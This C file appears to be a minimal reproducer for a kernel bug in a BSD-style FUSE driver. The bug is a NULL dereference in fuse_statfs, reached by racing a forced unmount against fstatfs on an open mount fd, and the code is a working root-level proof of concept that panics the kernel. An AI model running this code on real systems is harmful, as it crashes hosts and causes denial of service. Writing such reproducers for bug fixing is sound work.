/*
 * DF-3230 — post-unmount fstatfs(fd) NULL-derefs in fuse_statfs:
 * fuse_ipc_get() runs on mp->mnt_data AFTER fuse_unmount stored NULL.
 *
 *   fuse_unmount (fuse_vfsops.c:294):  mp->mnt_data = NULL;
 *   kern_fstatfs (kern/vfs_syscalls.c:1495): mp = fp->f_nchandle.mount
 *     (or vnode->v_mount) — still the valid fuse mount;
 *   fuse_statfs (fuse_vfsops.c:393):  fmp = VFSTOFUSE(mp)  == NULL
 *     (no NULL/dead guard at entry);
 *   fuse_ipc_get (fuse_ipc.c:100):    atomic_fetchadd_long(&fmp->unique)
 *     -> fetch-add at NULL+0x160 -> Fatal trap 12, page fault,
 *        supervisor write, fuse_ipc_get+0x63.
 *
 * Discovered live during DF-3229 staging (two independent panics on the
 * stock guest, identical signature) — this is the minimal deterministic
 * reproducer.  Distinct from DF-3193 (freed-fmp walk on the wake path);
 * this is the ENTRY path with a NULL fmp, and it is deterministic: any
 * fstatfs on a still-open fd after its fuse mount unmounted.
 *
 * Build: cc -O2 -Wall -o df3230 df3230.c
 * Run:   (root) kldload fuse && ./df3230     -> kernel panic
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags; uint32_t padding; };
struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

#define MNTPT "/mnt/df3230"

static int g_fd = -1;

static int write_reply(uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique; ohd->error = error; ohd->len = (uint32_t)actual;
    if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(g_fd, out, actual);
    free(out);
    return (w < 0) ? -1 : 0;
}

#include <signal.h>
#include <pthread.h>

static volatile sig_atomic_t g_alrm = 0;
static void on_alrm(int s) { (void)s; g_alrm = 1; }

static void *service_thr(void *arg) {
    uint8_t buf[65536];
    struct fuse_in_header ihd;
    (void)arg;
    for (;;) {
        ssize_t n;
        g_alrm = 0;
        alarm(2);
        n = read(g_fd, buf, sizeof(buf));
        alarm(0);
        if (n <= 0) return NULL;   /* dead or quiet */
        memcpy(&ihd, buf, sizeof(ihd));
        if (ihd.opcode == 26) {           /* FUSE_INIT */
            struct fuse_init_out io; memset(&io, 0, sizeof(io));
            io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION;
            io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256;
            write_reply(ihd.unique, 0, &io, sizeof(io));
        } else if (ihd.opcode == 17) {    /* FUSE_STATFS */
            struct fuse_statfs_out so; memset(&so, 0, sizeof(so));
            so.st.blocks = 1<<16; so.st.bfree = 1<<15; so.st.bavail = 1<<15;
            so.st.files = 4096; so.st.ffree = 4000;
            so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096;
            write_reply(ihd.unique, 0, &so, sizeof(so));
        } else if (ihd.opcode == 27 || ihd.opcode == 14) { /* OPENDIR/OPEN */
            struct fuse_open_out oo; memset(&oo, 0, sizeof(oo));
            oo.fh = 0x1000 + ihd.unique;
            write_reply(ihd.unique, 0, &oo, sizeof(oo));
        } else {
            write_reply(ihd.unique, -ENOSYS, NULL, 0);
        }
    }
}

static void *umount_thr(void *arg) {
    (void)arg;
    if (unmount(MNTPT, MNT_FORCE) < 0)
        perror("unmount");
    else
        printf("umount returned\n");
    fflush(stdout);
    return NULL;
}

int main(void) {
    uint8_t buf[65536];
    struct fuse_in_header ihd;

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) { perror("open /dev/fuse"); return 2; }
    signal(SIGALRM, on_alrm);
    siginterrupt(SIGALRM, 1);

    pid_t pid = fork();
    if (pid == 0) {
        struct fuse_mount_info args; memset(&args, 0, sizeof(args));
        args.fd = g_fd; args.from = "/dev/fuse"; args.max_read = 1 << 20;
        mkdir(MNTPT, 0755);
        if (mount("fuse", MNTPT, 0, &args) < 0) { perror("mount"); _exit(1); }
        /* hold the mount until parent signals */
        sleep(30);
        _exit(0);
    }

    /* background daemon thread services INIT/STATFS/OPENDIR */
    pthread_t svc;
    pthread_create(&svc, NULL, service_thr, NULL);
    sleep(1);

    int mfd = open(MNTPT, O_RDONLY | O_DIRECTORY);
    if (mfd < 0) { perror("open mntpt"); return 3; }
    printf("mount fd opened; umount thread + fstatfs race loop\n"); fflush(stdout);

    /* racing loop: catches mnt_data==NULL inside the umount syscall */
    pthread_t um;
    pthread_create(&um, NULL, umount_thr, NULL);
    for (int i = 0; i < 1000000; i++) {
        struct statfs st;
        int rc = fstatfs(mfd, &st);
        if (rc == -1 && errno != ENOTCONN && errno != EWOULDBLOCK) {
            printf("fstatfs err=%d (%s)\n", errno, strerror(errno));
            fflush(stdout);
        }
        if (rc == 0) usleep(100);
    }
    printf("UNREACHED-if-panicked: race loop finished\n"); fflush(stdout);
    return 0;
}
